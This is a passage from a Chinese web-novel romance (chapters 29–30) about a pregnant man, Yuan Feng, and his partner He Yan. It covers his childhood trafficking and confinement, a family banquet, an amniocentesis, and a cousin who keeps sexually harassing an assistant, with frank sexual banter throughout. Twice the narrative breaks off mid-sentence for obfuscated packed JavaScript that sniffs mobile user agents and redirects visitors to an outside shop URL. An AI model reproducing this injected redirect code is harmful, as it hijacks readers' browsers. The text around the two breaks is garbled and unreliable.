元丰鼻子突然一酸,低骂道:“那傻逼忒他妈讨厌了,还拽我腿。我老想找他算账,又不敢。后来我不跟他们玩了,就想跟辉哥一块儿玩,可他有自己的朋友。” “小时候一直想不明白,为啥自己会多长个那玩意儿,夏天干活儿还特不方便,家里也没钱给我瞧这个毛病。” 身体缺陷造成的心理创伤没那么容易愈合,元丰能做到今天这样,贺颜觉得已经很好。他抬手摸着胸前的脑袋以示安慰:“等生完元宝,去把手术做了。” 元丰最近做上瘾了,听到这话一愣:“做的话,是不是那个也得切了?那没的爽了啊。咱这x生活的质量直线下降咋办?” “……”这脑回路转得贺颜一时没接上话,他说,“长在你身上,自己决定。” “是长在我身上没错啊,可你不每回都得用吗?”元丰问道,“你对手术有啥看法不?” 一旦接受了,贺颜还挺喜欢,不过比起自己的想法,这小子的心理问题才是关键。 “我尊重你的想法。” “……” 贺颜的态度给元丰一种说不上来的感觉,他仔细想了想,终于找到不对劲的地方了。 “不是,你自己就没啥要说的啊?我说做就做,你……” “我什么?” “你好歹劝两句啊!就没一点舍不得的?你是不是嫌弃它!”元丰坐直身体,近距离观察着贺总的表情,试图找出破绽。 贺颜服了元丰的脑回路,他直视那双微微睁大的眼睛,笑道:“那行,别做了。” “为啥又不做了?” “舍不得。”贺颜盯着元丰,又补了一句操不够。 “你这马后炮!”元丰心情好转,笑了两声,“元宝还小,我再考虑考虑,先爽够了再说。” “嗯,自己的事儿自己做主。”贺颜说完,问起要紧的,“童工是怎么回事儿?家里现在还困难吗?” “……” 笑容瞬间消失,贺颜看到元丰表情的变化,大概明白了。 他能想到的做童工的理由无非就是家里条件不行,早早步入社会打工挣钱,但事实显然没自己想的那么简单。 “第一份工作是什么?” 这个男人跟别人都不一样,是自己喜欢的人,也是元宝他爹。 元丰沉默了许久,觉得没什么可藏着掖着的,靠自己双手劳动不可耻,于是缓缓说:“捡废品,就塑料瓶啊纸板啥的,可以卖钱。我卖给收旧货的老大爷,能挣上每天的饭钱。” 贺颜感觉心窝子又被戳了一下,让人挺不舒服。他问:“一天饭钱是多少?” “没多少钱,包子五毛钱一个,我多捡几个瓶子就能买了。运气好能捡到纸板,那个值钱。”元丰怕贺总同情自己,赶紧补充,“其实我有钱,我偷……我拿了好几百块钱藏在身上,但那钱不能动,是留着以防万一的。” “我一边捡一边找工作,别人嫌我个头小不敢用我。捡了快一个月的时候,可算碰上一个好心的老板,他是开饭馆的。然后我就在他饭馆里当杂工,管吃管住,一个月八百块钱。” 说到这儿,元丰有些得意:“我干了两年多,攒下小两万。就是天天揣着那些钱没地方存,心里老不踏实。” “钱藏哪儿了?”贺颜又问。 “别的时候都藏衣服内兜里,就夏天不好藏,我给压床板底下了,中午必须回去看一眼才踏实。”元丰絮絮叨叨地继续说起来,“后来饭馆生意不好,老板不做了。那饭馆旁边还有好几家别的店,我都混熟了,住处不用愁,他们也很照顾我。从老板那儿出来,我又换了家超市,给人理货打杂。” “工资看老板娘高兴,给多少我拿多少,只要肯让我干活儿就行。反正有手有脚还有嘴,走哪儿我都饿不死。” “老板娘给了多少?”贺颜问。 “头几个月是七百,后来涨到九百了。” 十年前的九百块钱对贺颜来说,连毛毛雨都算不上,却是另一个小孩儿辛苦打杂才能挣到的工资。元丰说了这么多,只字未提自己父母,他不忍心再问下去。 已经说到这儿,元丰觉得没什么可瞒着的了。他隔着厚厚的冬衣,摸了摸肚子,笑着说:“有首歌不是叫《阳光总在风雨后》吗?超市里的喇叭放过,我那阵子特喜欢听,每天都在想自己啥时候能长大,长大就好了,能有个自己的家。” “你看我现在长大了,有你还有元宝,真的有家了。” “嗯。”贺颜覆上元丰摸着肚子的手,语气里多了几分认真,“以后没有风雨了。” “虽然想不明白,可我知道就算做了手术,这身体也跟正常男人不一样。”再谈起过去,元丰内心是平静的。 他握住热乎的大手,继续说道:“在老家说亲的话,肯定没人敢把闺女说给我,所以我父母放弃我了。也不是对我不好,就是……就是没指望了,这才又生了妹妹和弟弟。” “后来呢?”元丰愿意主动提,贺颜便问了下去。 “后来他们在我十一岁那年,把我过继给别人了。那男的说能带我上医院瞧病,还能供我上学。我不想走,可我这毛病就像他们心里的一根刺,村里又有闲言碎语……” 元丰断断续续地说着,“他们也是希望我能瞧好,我没办法,想着等瞧好了再回来,就跟那人走了。他带我坐火车去了一个特远的地方,说自己以前在那儿做过生意,等处理完事儿再带我上医院检查。” “结果他根本没带我上医院,老说自己忙,白天干啥去了我也不知道,会准时回来做饭给我吃,晚上跟我睡一块儿,我也没多想。” “后来我才知道他是忽悠我的,他心理有问题。他说我父母把我卖给他了,卖了八千块钱,别想着回去了。我不相信,他又每天哄我,给我买了好多好吃的,让我以后跟他一块儿好好过,说会等我长大。” “我那会儿不明白啥意思……” 贺颜听到这儿,心里一紧。 元丰怕贺总想歪了,立刻说道:“别误会啊,我就跟你做过。” “我知道。”贺颜握紧那双粗糙的手,想问元丰那男人有没有做过别的什么,却怕伤到他。 “我现在回头想想,他好像那方面不行,前妻生的孩子也不是他的。跟他在一块儿越来越难受,他又不出去了。有次我想跑被发现了,他就把门给锁起来,每天都给我洗脑,笑眯眯地跟我说些乱七八糟的,弄得我晚上还做噩梦。” 元丰顿了片刻,接着说:“我就一直忍,忍了快俩月,最后偷了他几百块钱,跑了。钢镚儿都准备了二十多个,一跑出去就上公交车,我不知道要去哪里,就瞎坐。” “那时候没想过要报警,反正无家可归了,我也不想再回去做累赘,就自己一人流浪了。” 像是为了缓解心里那股特别不舒服的滋味儿,贺颜笑着夸道:“小小年纪,阅历倒挺丰富。” “还凑合。”元丰跟着笑了,“是不是比你丰富啊?” “嗯,我比不过你。” “嘿嘿。” 狭小的包间里,贺颜耐心听着元丰说起后面那些年的生活,头回觉得这小子话多是好事儿,能主动说出来,说明自我调节能力不错,他也能放心一些。 29. 第 29 章 夜深。 …… 元丰老实地闭了嘴,后脖颈一热,有什么贴了上来。 他笑了:“你偷亲我脖子干啥?” 贺颜没有说话。 元丰感觉贺颜今晚好像怪怪的,忍不住小声问道:“你心里要有啥想法,能跟我说说不?” “过几天告诉你。” “嗯。” 一个星期后,元丰搬家了。说是搬家,其实他什么都没参与,到个人就行了。 他盯着眼前这套近四百平米的大平层,脑子里只有一句话:还是有钱人会享受,忒他妈奢侈了。 孩子他爹说,这是给他和元宝准备的新家,保姆和孩子爷爷奶奶会暂时住在这里照顾他,等元宝大点了再换房子。 他以为是跟锦西湾一样的三居室或四居室,哪知道会这么大,惊得不知道说啥好了。 “学习教材已经整理好,书房在这个方向,跟我来。”陈硕边走边说明情况,“贺总交代过了,你每天会有两个小时的学习时间,上午下午各一小时。” 元丰惊喜道:“他同意我学习了啊,也不提前告诉我。” 陈硕迟疑了两秒,说:“大概是想给你一个惊喜,明天开始我会过来给你上课。” “啊?你来给我上课?”元丰又惊了,“陈助理你可真厉害,还会教这个。” “不厉害。” “别谦虚啊。” 元丰跟着陈硕去了书房,看到里面的环境时,再次惊到了:“是不是走错书房了?怎么这么大?” “没走错,是你的。”陈硕指着其中一侧书架,介绍道,“这边是小学至初中的,另外一边是高中的。” “连高中的都有了啊,肯定很难吧?” “对现在的你来说,应该是的。” “哦,那——” 电话铃声打断了二人的交谈,元丰见陈硕二话没说直接挂断,有些不好意思:“陈助理,你可以接啊。” “是广告推销。” “那确实该挂,别搭理。” 陈硕走到学习桌那儿,还没开口,电话又来了。 “广告推销特烦人。”元丰发现陈硕好像很为难的样子,“你脸皮薄,要不我来帮你骂几句?” 陈硕看向元丰:“不好意思,我出去接个电话。”“哦哦,你去吧,我自己转转。” “好。” * 练废几团毛线之后,闵兰瑛逐渐上手,得空就给元宝织毛衣。门铃响起时,她放下手中的活儿,起身过去开门。 “姨妈!” “哟,我还当是小刘回来了。”闵兰瑛看着门口的大外甥和他脚边一堆东西,惊讶道,“小格,你买这么多东西干什么?” “过来看看您。”李格回头吩咐身后的男助理,“给我把这些东西都搬进去。” 闵兰瑛看着进进出出的助理,还没法阻止。 “不光是您的,还有给我哥他媳妇儿准备的,听说孕妇爱吃水果,随便弄了些。”李格主动搬了两大箱东西,“这两箱是给小婴儿准备的,奶瓶、衣服和玩具,还有个胎教音乐。” “……”闵兰瑛数落道,“你这孩子,下回可不许了啊。” “这不是当叔叔了吗,心情忒激动。”李格走进屋,四处扫了眼室内格局。 “让助理一块儿歇会儿吧,我去给你们倒茶。” “不用了,姨妈。”李格冲助理挥了挥手,“自己打车走,把门带上。” 男助理领命,火速撤离了。 “那你上客厅歇会儿,我去泡茶。”闵兰瑛要走,被外甥拉住了。 “您就别客气了。”李格直奔主题,“姨妈,我哥老藏着掖着,我还一次都没见过大嫂,听说他最近在上课?” “是啊,这会儿正学着呢。”闵兰瑛问道,“你们还没见过?” “我哥不让,所以我过来了。”李格说。 都是一家人,早晚得熟悉。闵兰瑛把外甥领到书房门口,轻轻敲了两下:“小丰,阿姨进来了。” 里头传来一声:“好嘞!” 门一开,李格直接略过那位长相清秀的年轻人,目光停留在旁边的男人身上。 对方看到他时,眼里有转瞬即逝的惊讶,他满意地笑了。 闵兰瑛笑着介绍道:“小丰,这是小颜表弟。你也学了半个多小时,正好歇会儿,我去给你们准备水果和点心。” 元丰愣了几秒,随即冲门口那位长相帅气的陌生男人点点头,打起招呼:“你好。” 李格这才看向穿着居家睡衣的年轻人,有些瘦弱,想不到他哥居然好这口。 他快步走过去,自来熟地伸出手,笑道:“你好,我是贺颜他表弟,叫李格。都是一家人,我就称呼你大嫂吧。” “……”元丰立刻站起来,伸出手握了握,尴尬一笑,“你叫我元丰就行,一元两元的元,丰收的丰。” “还是叫大嫂吧,亲切一点。” “……” 元丰可不想要这份亲切,怎么说自己也是个带把的男人。但贺总表弟过于热情,一上来就拒绝显得不礼貌。 “元丰,先休息吧。”陈硕起身说,“你们聊。” “那行,你也去歇会儿。” 李格盯着离去的背影,目光不自觉下移,那屁股什么时候能摸一把就好了。 * 元丰连着上了几天课,跟陈硕的关系好像回到了之前,也不再称呼对方为陈助理,俩人课间休息还会交流电视剧。 二、三年级的内容没什么难度,他现在学四年级的内容,主要学数学和初级英语,语文就随便看看课文,做做阅读理解。 习题册上的拓展应用题有点费脑子,他决定放松一下,于是把李格请到一旁的沙发那儿。 “大嫂,你也坐。” “……” 元丰不知道该聊什么,只能没话找话:“你怎么没上班啊?” “公司有专人打理,我比较闲。”李格对男人怀孕这事儿相当好奇,趁他哥不在,便开口问道,“能看看你的肚子吗?感觉挺神奇的。” “……” 屋里开了很足的暖气,元丰穿着薄款睡衣,里面只有一件贴身肚兜。除了元宝他爹和医生,自己的孕肚还没被外人看过。 他有些为难,用手稍微绷紧睡衣:“这样可以不?” “可以可以。”听说不如亲眼所见,李格看到鼓起来的肚子,着实一惊,“我还真是要当叔叔了。” “……”元丰接不上话,幸亏阿姨端着吃的过来救场了。 快中午时,元丰留陈硕吃饭,对方却说要回家一趟,下午再过来。李格吃完就走了,说公司有事儿。 他听着关门声,嘀咕道:“大家都很忙啊,就我闲得发慌。” “等元宝生下来就热闹了。”闵兰瑛笑着说,“一会儿阿姨陪你看看电视。” “嗯,听说那个《金枝欲孽》特好看,还是陈助理推荐的。” “那咱就看这个,看完一集好好睡一觉。” 元丰嚼着香喷喷的排骨,点了点头。他现在胃口好起来了,每天能吃能睡,可惜光长肚子不长肉。 一想到那句“影响发挥”,他就担心等肚子越来越大,性生活不和谐怎么办。不过这几天也没看出什么不对劲来,元宝他爹发挥得还挺好。 难道又在忽悠自己? 贺颜回到家,听到了元丰嘻嘻哈哈的笑声。他轻轻关上门,换好拖鞋,往餐厅的方向走去。 “不光抢我玩具,坏事儿也没少干。我想起来了,他还跟一小姑娘玩过家家。是吧?姨妈。” “确实有这么一回事儿。”闵兰瑛忆起儿子的童年,笑着感慨道,“一晃二十多年,那小姑娘也嫁人了。” “他俩演什么老公老婆,抱着个玩具娃娃,一块儿哄孩子睡觉。”李格继续抖黑料,“我说带我一个,他以为我要跟他抢老婆,让我滚回家去。” “哈哈哈!”元丰难以想象童年时期的贺总,一边笑一边说,“他还能跟姑娘一块儿玩啊,我都不信了。” “骗你干什么,真——”李格余光注意到餐厅门口站着的男人,立刻转移 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658633|144025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话题,“好吃,这带鱼。大嫂你尝尝,听说吃带鱼对孕夫好。” “哦哦,我吃了。”元丰听得正起劲,完全没注意到身后的男人,他问李格,“他还跟那小姑娘玩啥了?” “这个……”李格有些为难,“我建议你晚上亲自问问他。” “他肯定不告诉我。” 贺文仲看见儿子,开口说道:“站那儿干什么,过来吃饭。” 元丰回头一看,满脸惊喜:“今天怎么这么早就回来了?” “嗯,没什么事儿了。”贺颜走到元丰旁边坐下,看了表弟一眼,才开始动筷子。 李格并非想蹭这顿饭,完全是为了跟元丰搞好关系,不抖点大哥的黑料,还怎么套近乎。一吃完饭,他就赶紧溜了。 * 元丰伸手捋了捋男人额前的湿发,忍不住问道:“你跟那小姑娘还玩啥了?” “不记得了。”贺颜冲洗掉元丰身上的泡沫,又轻轻摸了摸。 他问:“最近这儿有没有不舒服?” “没有啊,你摸着有点痒痒。”元丰笑完又问,“你表弟都能记得,为啥你不记得?” 贺颜只记得自己玩过,细节是真没印象了:“他瞎说的,甭搭理。” “你妈都说有这么一回事儿,瞎说的人是谁啊?” “我没印象了。” “我不信。”元丰自言自语,“肯定管小姑娘叫老婆了,怕我生气呗。” “……” “我真不生气啊,就是纳闷你还知道跟女孩子过家家,咋又成同性恋了?” 不好好说两句,这事儿还过不去了。贺颜拿着浴球绕到元丰身后,给他擦起后背:“应该是天生的,我对异性没兴趣。” 元丰好奇道:“啥时候发现的啊?” “小学。” “我操,这么早。”元丰更好奇了,“那你第一次跟人那啥,是在啥时候?” 对于过去,贺颜觉得没什么好隐瞒的:“高中。” “几岁啊?” “十六。” “……”元丰啊了一声,“我十六岁才刚学会自己动手,你都跟人做上了。” “好了,还有什么要问的?” 都说初恋最难忘,尤其上过床的。元丰心里突然有点不痛快:“那你还记得初恋的样子不?” “我什么时候有过初恋?”贺颜反问。 “你十六岁的初恋啊!都跟人上-床了,咋就不是初恋?” “……”贺颜早该知道这人脑回路不一般,他冲干净元丰身上的泡沫,拿起架子上的浴巾把人裹好。 “只是炮-友,我从没跟人谈过恋爱,你是头一个。” 元丰听到这话,别说不痛快,乐得嘴都快合不拢了。 他垂着脑袋憋了会儿,抬头看向贺总,一本正经地确认道:“真的啊?你可不要忽悠我。” 贺颜盯着元丰那要笑不笑的滑稽表情,低笑出声:“假的。” “你……你别太过分啊。今晚没一小时,我跟你急!” “知道了,去床-上等我。” 元丰嘿嘿一笑,猴急地穿上拖鞋。 贺颜低头看着那双脚丫子,叮嘱道:“慢点走。” “好嘞,你快点啊。” “嗯。” * 元丰又多了一位老师,新来的男老师是个海归,上赶着教他英语。学个小学知识而已,如此兴师动众,弄得他很不好意思。 “大嫂,我昨晚回去自己出了份卷子,比较简单,你试着做一做。”李格把打印好的A4纸递给元丰,“不会就空着,考完再教你。” 陈硕瞄了一眼纸上的英语填空题,不是一般的简单。 How____you? ____New Year! This is____apple. What colour…… “谢谢啊。”元丰接过那张纸,心里不禁纳闷,李格为啥老让他考试啊? 算了,老师也是为自己好,埋头做题吧。 30. 第 30 章 元丰后悔了,心里紧张得要命。 他站在恒信集团旗下的高级酒店宴会厅侧门口,脚跟被吸住了似的,不敢往里走。 “愣着干什么,怕了?”贺颜调侃道。 元丰老实点头:“好紧张啊……” “之前是谁吵着要来的?”贺颜拥着他往里带,“元宝的百天和周岁会更热闹,就当提前适应了。” “等等!你让我再缓一缓,好不?”元丰一把搂住贺总的腰,不让他走。 正门不敢进,到了侧门又开始磨磨叽叽,贺颜早已料到元丰会是这个反应。 “给你一分钟。” “……”元丰侧头看了眼宴会厅里的情况,人不是一般的多。有陌生人看过来时,他才意识到自己的行为,赶紧松了手。 “我还不如回家躺着……”他小声问道,“里面那些人知道你是那个吗?你为啥一点都不紧张?” “知道。”贺颜从不在意外人的眼光及看法,但元丰不一样。 他琢磨了片刻,说:“我已经过了该紧张的年纪,像你这么大的时候,也会。” “真的?” 自然是假的,贺颜盯着满脸紧张的元丰,改变了想法。 “你先进去。” “啊?”元丰慌了,“为啥?你要干吗去?” 贺颜侧头看向宴会厅,父母正在接待亲友,他问元丰:“看见我爸妈了吗?” 元丰顺着贺总的目光看去,叔叔阿姨正在和一对中年夫妇聊天,笑得很开心。 他点头,“看见了。” “你过去找他们,别管周围的人。”贺颜抬手轻抚着元丰后背,“自己迈出这第一步,晚上随你高兴。” “……”元丰懵逼地张了张嘴,少儿不宜的画面立刻涌入脑海。 贺颜观察了下元丰的微表情,看来可行。这小子现在天天欲求不满,恐怕脑瓜子里又在想什么乱七八糟的要求。 早晚要进去,但那档子事儿不是天天都能尽兴,元丰爽快答应了:“你真的随我高兴啊?别忽悠我。” 贺颜应了声:“进去吧,我在这儿看着。” “那行。”元丰做了个深呼吸,鼓起勇气刚跨出第一步,突然反应过来了。 他停下脚步:“不对啊,你为啥不跟我一块儿进去?” “还有朋友要过来,得去接一下。”贺颜面不改色地说道。 元丰又问:“谁啊?是开车撞我的那个,还是送我上医院的那个?” 贺颜:“……” “你俩怎么不进去?”李格走过来,笑着冲元丰打招呼,“大嫂好!” “……”元丰刚酝酿好的情绪被这声大嫂叫得又紧张起来了,他无奈,“你不如叫我学生得了,我先谢谢你。” “学生忒见外了,一家人不说两家话。”李格抬起手臂搭在贺颜肩上,“是吧,大哥?” 贺颜挥开凑上来的表弟:“废什么话,进去。” “我妈在后头,非要先过来见见元丰。”李格让开位置,一位穿着得体的中年女性走了过来。 元丰:“……” 闵兰淑跟外甥打完招呼,笑着看向清秀的年轻人:“这位就是小丰吧?我早听说你的事儿,老想见见你。” “阿……阿姨好!”又一位长辈,元丰快紧张死了。 贺颜自然地揽住元丰,岔开话题:“小姨,姨夫怎么没跟您一块儿?” “他被拉去聊天了。”闵兰淑说,“我就跟小格过来看看。” 李格看出元丰的紧张,直接搂着他妈的肩往宴会厅走,“妈,人您也瞧了,咱先进去。” “哎,我还没说完,你这孩子……” “走吧,回头有的是机会聊。” 只要别叫大嫂,李格这人还是挺不错的。元丰重新酝酿完情绪,走之前跟贺总确认道:“说好晚上随我高兴的啊,我进去了。” “嗯,去吧。” “好嘞。” 因为改了日期,羊水穿刺被挪到明天下午,贺颜特地给妇产科王医生打电话了解过情况以及术前说明。 他盯着元丰的背影,不知道这小子今晚会怎么闹。 元丰微低着头往前走,心里很慌,怕自己引起众人的关注。走了十多步以后,周围好像并没什么变化,也没人窃窃私语。 他用余光瞥了瞥两边,发现根本没人在看他,大家该聊天的聊天,该入座的入座。 原来自己想多了啊…… 他忍不住回头,高大帅气的男人依旧站在侧门口,看到他回头时,冲他笑了笑。 这个晚上,跟元丰想的完全不一样。他站在叔叔阿姨旁边,确实有不少亲友在祝福时顺嘴问了他的身份,大家都非常礼貌。 叔叔阿姨会笑着介绍说是儿子贺颜已经定下来的男朋友,然后告诉他来人是谁,该怎么称呼。 他紧张地叫着这个叔叔,那个阿姨,还有什么堂叔、姑妈、伯伯、舅舅等一堆亲戚。就在他紧张得说话都打起磕巴时,贺颜及时出现了,牵着他的手,全程陪在他身边。 * 元丰垮着脸,一边穿睡衣一边质问刚走出卫生间的男人:“你是不是成心的啊?” “回头补给你。”贺颜盯着元丰那张臭脸,笑道,“当初抵死不从的那股劲儿哪去了?” “还不是元宝闹的。”元丰推卸责任,“我查过了,需求大都是那啥雌性激素和孕激素导致的。等生完了,你想跟我打,我都不打!” 果然闹脾气了,贺颜故意说:“也行,我找别人打吧。” 鉴于此人“前科累累”,元丰一听这话气得爆了粗口:“你他妈敢找别人打,我……我也去找一个!” 贺颜最忌讳这个,顿时脸色一黑:“腿都给你打断。” “我给你剁了,毛也全给你拔光!”元丰不爽地回怼道。 “……”贺颜脸更黑了,彻底认输。 “站着干啥?还不过来睡觉。”元丰催促道。 贺颜站着愣了会儿,大概是没想到自己也会有今天,这生活确实不赖。他走过去上了床,刚躺下,怀里拱进来一个人。 元丰枕在结实的胳膊上,低声说:“回头补给我啊,知道不?”贺颜没接话,把人搂进怀里直接吻了上去。 “唔……” …… 元丰早上做了血常规尿常规以及其他一系列检查,对于产检已经习以为常,也没什么害怕的。 可到了下午,听完羊水穿刺的术前说明,他害怕了,尤其听到“流产风险”四个字儿,签名的时候,手都有些抖。 王医生告诉他,不用太担心,几分钟就好了。这怎么能不担心,他还没感受过元宝的胎动…… “没什么大问题,术前说明只是走个流程。”贺颜安慰道,“我跟你一块儿进去。” “嗯。”元丰紧紧握着贺总的手,扯出一个笑,“元宝肯定没事儿。” 两点,俩人准时进了手术室的等候区。 元丰这才发现做羊穿的手术室和产房是连在一块儿的,能听到产妇的痛呼声和助产士激动的说话声,助产士叮嘱产妇别大喊大叫,配合呼吸。 贺颜的手被握得紧紧的,他知道元丰害怕了。刚准备再安慰两句,2号产房里传出一声婴儿的啼哭,哭得有些难听。 元丰盯着2号产房,微微睁大了双眼,内心感叹着新生命的力量,好神奇。 “孩子在哭……”他喃喃道。 “嗯,听见了。” “元丰!”有护士从手术室走出来,冲外头喊道,“过来做准备。” “哦哦,来了!” 元丰拉着贺总,一块儿去了无菌区。俩人换上无菌服和拖鞋,静静等候着。他 紧张地说道:“我心里有点慌……” “有我在,慌什么。” “幸亏你在,我一个人还真是有点受不了。” “嗯。” 元丰忐忑地躺在手术台上,视线在B超影像跟贺总身上来回转,根本不敢看那针。医生怕他有压力,还陪他聊天,他却一句都听不进去。 涂抹药水时,整个腹部凉飕飕的,弄得他更紧张了。 “没事儿,不慌。”贺颜指着B超影像,“看看元宝。” 元丰侧头盯着B超影像,虽然很模糊,但能看到一团小小的影子,缩在角落里。他鼻子突然有点发酸,这孩子真懂事儿,一点也没闹腾。 超声探头抵着腹部滑来滑去,他听到大夫说了个数字,紧接着,有东西猛地扎进了肚子里,不是很疼,就像抽血一样。 贺颜看到元丰有点微红的眼眶,继续安慰道:“别怕,马上就好了。” “不疼的啊。”医生说道,“放轻松,也就几分钟的事儿。” 腹部传来明显的胀痛感,元丰难受得皱起眉头,整个过程持续了五六分钟就结束了。护士在针孔上贴了块纱布,擦干净肚皮上的耦合剂。 因为有流产风险,他回到了病房,需要观察一晚上。 每隔几小时,就会有医生过来听胎心,问他是否有异常,还给他开了药,叮嘱他二十四小时内不能洗澡,洗的话也要注意针孔,半个月内不能同房,忌辛辣凉,不能提重物,腹部尽量不要用力,在家多卧床休息。 想到肚子里的小生命有不健康的可能性,元丰担心得难以入眠,报告要等半个月才出来。 他轻轻叫了声元宝他爹:“如果不健康,咋办啊……” 从做完羊水穿刺,元丰的状态就一直不太好。理智告诉贺颜,如果孩子不健康,只能劝元丰做引产手术。 明知不健康却硬要生下来,不论是对孩子,还是对他们来说,都是不负责任的。 “别胡思乱想。”他说,“元宝跟咱们有缘分,会健康。” “真的吗?” “真的。” 元丰轻轻地抚摸着肚子,突然间,有什么东西隔着肚皮蠕动了一下,他惊喜地叫道:“动了!元宝动了!” “他在回应你。”贺颜覆上元丰的手,温声道,“所以少胡思乱想,知道吗?” 元丰笑着嗯了一声,说:“我知道了!” * 学习被迫中断,元丰在家瘫了两天,除了下床洗漱,三餐是阿姨和保姆端进卧室里给他吃的,弄得他特别不好意思,就连屁股也是孩子他爹亲自打水帮着洗的。 按理说被这么贴心照顾,他应该高兴才对。可洗着洗着,反而更不对劲了,偏偏还不能做。 他无奈一叹:大夫只是交代腰部别用力尽量多休息,没让彻底瘫在床上啊。 好在第三天恢复了正常,不用再当残废,憋一憋也就过去了。 自从那晚开始,胎动变得频繁起来,元宝的调皮冲淡了元丰心里的阴霾。 等结果的日子里,李格来看过他两回,说是又出了几套卷子,等着他复课考试。 他很感动,李老师对自己的英语成绩这么上心,敬业程度真是没话说。 元丰倒是想考试,但必须休息满半个月才能继续。炮没的打就算了,课也不让上。每天晚上能亲个嘴已是不易,还是蜻蜓点水的那种。 唉,忒他妈折磨人。 出结果那天,赶上跨年。 贺颜接到舅舅电话,一向冷静理智的他,在对方开口前,心里突然涌出一股陌生的情绪。元宝最近很调皮,手摸上去时,能感受到神奇的胎动。如此鲜活的小生命如果不健康,他不确定自己还能不能狠下心。 “染色体没有异常,孩子很健康。”闵兰青笑着说,“这下放心了吧?报告在我办公室里,着急就下午过来拿。” 听到没有异常,陌生的情绪瞬间消散,贺颜松了口气:“谢谢舅舅。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658634|144025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “第一时间先通知你这当爹的,我再给你妈打一电话,你忙你的。” “行,下午我安排助理过去一趟。” 贺颜站在落地窗前,后知后觉地意识到自己刚才可能是紧张了,在等待结果的那一刻。 跟助理通完电话没多久,他接到了元丰的来电。 “你舅舅打电话来了!”那头的声音很激动,带着笑,“元宝没事儿!他跟我不一样,他好着呢!我他妈都高兴死了!” “健康就好。”贺颜说,“报告我让陈硕下午送过去。” “你咋一点都不激动啊?” 贺颜配合道:“已经激动过了。” “你舅舅提前打电话告诉你了?” “嗯。” “怪不得。”元丰高兴得一直在乐,“晚上几点回来啊?元旦有假不?” “不确定,你们先吃。”贺颜已经安排好假期,他说,“约一下你兄弟,后天请他吃个饭,明天在家陪你。” “我操,真的假的?”元丰激动道,“你都好久没陪我了,明天一块儿看个电影,好不?” “什么记性。”贺颜笑着问,“做检查时没陪你?” 元丰嘿嘿一笑:“我要在家的,医院里不算。” “想看什么电影?” “看个杀人破案的吧,陈硕给我推荐了好几部。” “嗯。” 陈硕吃完午饭,准备去办贺总交代的事情。刚出公寓电梯,碰上迎面走来的李格。 “上哪儿去?” 他无视对方,径直往出口的方向走去,胳膊却被猛地攥住。 “我跟你道歉了不止三十回吧?你还闹什么别扭。”李格无奈道,“亲一下而已,至于吗?” “放手,我还有事。” 李格早已摸清陈硕的生活作息,突然有事多半跟自己表哥有关。 他松开手,笑了笑:“正好要去元丰那儿,你捎我一趟。” “捎不了。”陈硕拒绝完,直接走了。 李格像是没听见,跟了上去。 “《金枝欲孽》我看完了,皇帝表现挺不错。要我说,这男人就不该掺和女人之间的事儿。” 陈硕没有搭理,默默往前走着。 “男人应该跟男人掺和在一块儿,比如咱俩。”李格见陈硕突然停下脚步,问,“怎么了?” 这个男人断断续续骚扰了自己几个月,每次在自己反感到无法忍受时,又消失不见。陈硕估计这次没那么容易甩掉,停下来思考了片刻。 他盯着马路对面的二十四小时便利店,说:“有点渴,麻烦你去帮我买瓶水。” “我猜到你会渴。”李格从大衣兜里摸出一罐热饮递过去,笑道,“来的时候特地买了,热乎的,拿去。” 陈硕扫了一眼,没有接:“不喝热饮。” “我想也是。”李格盯着那张面无表情的俊脸,又从另一个兜里摸出一罐冷饮,说话不再刻意讨好,“一冷一热都给你备着,我还从没这么哄过谁,你要是愿意跟我,我肯定会对你好。” 陈硕没料到李格会有两手准备,提的要求也从最开始的做一次爱变成包养。 他平静地拒绝:“没人要求你这么做,别再跟着我。” 李格站在原地没动,目光阴沉地盯着那道背影。他还没操过这么清高的,越看越心痒难搔。 陈硕走了十多步,确定李格没有再跟上来,希望对方是真的消停了。 收到陈硕发来的短信后,元丰迫不及待地在客厅里散着步,门铃声响起时,他正好散到门口。他激动地打开门,一看是李格。 “大嫂好!” “……”元丰歪着脑袋看了看李格身后,没别的人。 他问:“陈硕呢?” “不知道,很久没联系了。”李格进屋换上拖鞋,“听说你恢复了,我来给你上一节课。” “啊,可是我今天不想上课。”元丰分享自己的喜悦,“元宝检查通过了!我现在没心思干别的事儿,就等着陈硕给我送报告。” “恭喜大嫂。” “谢谢谢谢!既然来了,晚上留下来一块儿吃饭吧。” “不用了。”李格说,“今天跨年夜,我晚上有应酬。” 元丰光记着明天是元旦,把跨年夜都给忘了:“原来今晚跨年啊,新的一年来了……” “是啊,既然不上课。”李格突然笑了,“不如教你几句实用的,晚上说给我大哥听。” 元丰直觉不是什么好话:“你自己留着用吧。” “特别好听,不想学?”李格问。 元丰摇摇头:“肯定不是啥好话,骚话还差不多。” “……”李格一脸无辜,“什么骚话,只是教你用英文说几句甜言蜜语。” 元丰从没说过什么甜言蜜语,被弄得有些不好意思:“算了啊,怪肉麻的。” “行吧,我去找姨妈聊聊天。”李格刚说完,响起了门铃声。 见到熟悉的面孔,陈硕丝毫没意外。他把手中的文件袋递给元丰:“检查报告。” “辛苦了啊。”元丰接过文件袋,“快进来坐着歇会儿,暖一暖。” “不了,还有事。”陈硕无视那道直白的目光,继续道,“明天我过来给你上数学课。” 元丰想起贺总休息,赶紧说道:“后天吧,明天我得休息一天。” “好,我走了。” 